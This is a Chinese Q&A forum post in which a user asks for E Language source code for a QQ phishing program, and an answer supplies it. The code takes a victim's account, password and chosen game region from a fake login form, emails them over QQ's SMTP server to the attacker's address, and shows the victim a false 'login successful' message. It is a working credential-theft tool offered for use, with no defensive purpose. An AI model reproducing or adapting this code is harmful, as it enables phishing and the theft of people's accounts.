超急急急！！！易语言钓鱼程序选择好大区后，怎么把他们选择大区发到我邮箱？有源码最好

Question

例如输入框的钓鱼源码：
连接发信服务器 (“smtp.qq.com”, , “969466390”, “***********”, )
发送邮件 (“QQ钓鱼程序”, “账号” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码” ＋ 编辑框2.内容, “[email protected]”, , , “[email protected]”, “[email protected]”)
或者发到我邮箱 [email protected]

Answer 1

.版本 2
.支持库 internet

.程序集 窗口程序集1

.子程序 _按钮1_被单击

.判断开始 (编辑框1.内容 ≠ “” 且 编辑框2.内容 ≠ “”)
.如果真 (单选框1.选中 ＝ 真)
发送邮件 (“QQ钓鱼程序”, “账号” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码” ＋ 编辑框2.内容 ＋ #换行符 ＋ 单选框1.标题, “[email protected]”, , , “[email protected]”, “[email protected]”)
信息框 (“登陆成功！”, 0, “提示：”)
返回 ()
.如果真结束
.如果真 (单选框2.选中 ＝ 真)
发送邮件 (“QQ钓鱼程序”, “账号” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码” ＋ 编辑框2.内容 ＋ #换行符 ＋ 单选框2.标题, “[email protected]”, , , “[email protected]”, “[email protected]”)
信息框 (“登陆成功！”, 0, “提示：”)
返回 ()
.如果真结束
.如果真 (单选框3.选中 ＝ 真)
发送邮件 (“QQ钓鱼程序”, “账号” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码” ＋ 编辑框2.内容 ＋ #换行符 ＋ 单选框3.标题, “[email protected]”, , , “[email protected]”, “[email protected]”)
信息框 (“登陆成功！”, 0, “提示：”)
返回 ()
.如果真结束
.如果真 (单选框4.选中 ＝ 真)
发送邮件 (“QQ钓鱼程序”, “账号” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码” ＋ 编辑框2.内容 ＋ #换行符 ＋ 单选框4.标题, “[email protected]”, , , “[email protected]”, “[email protected]”)
信息框 (“登陆成功！”, 0, “提示：”)
返回 ()
.如果真结束

信息框 (“未选择大区！”, 0, “提示：”)
.默认
信息框 (“账号或密码不能为空！”, 0, “提示：”)

.判断结束

.子程序 __启动窗口_创建完毕

连接发信服务器 (“smtp.qq.com”, , “969466390”, “***********”, )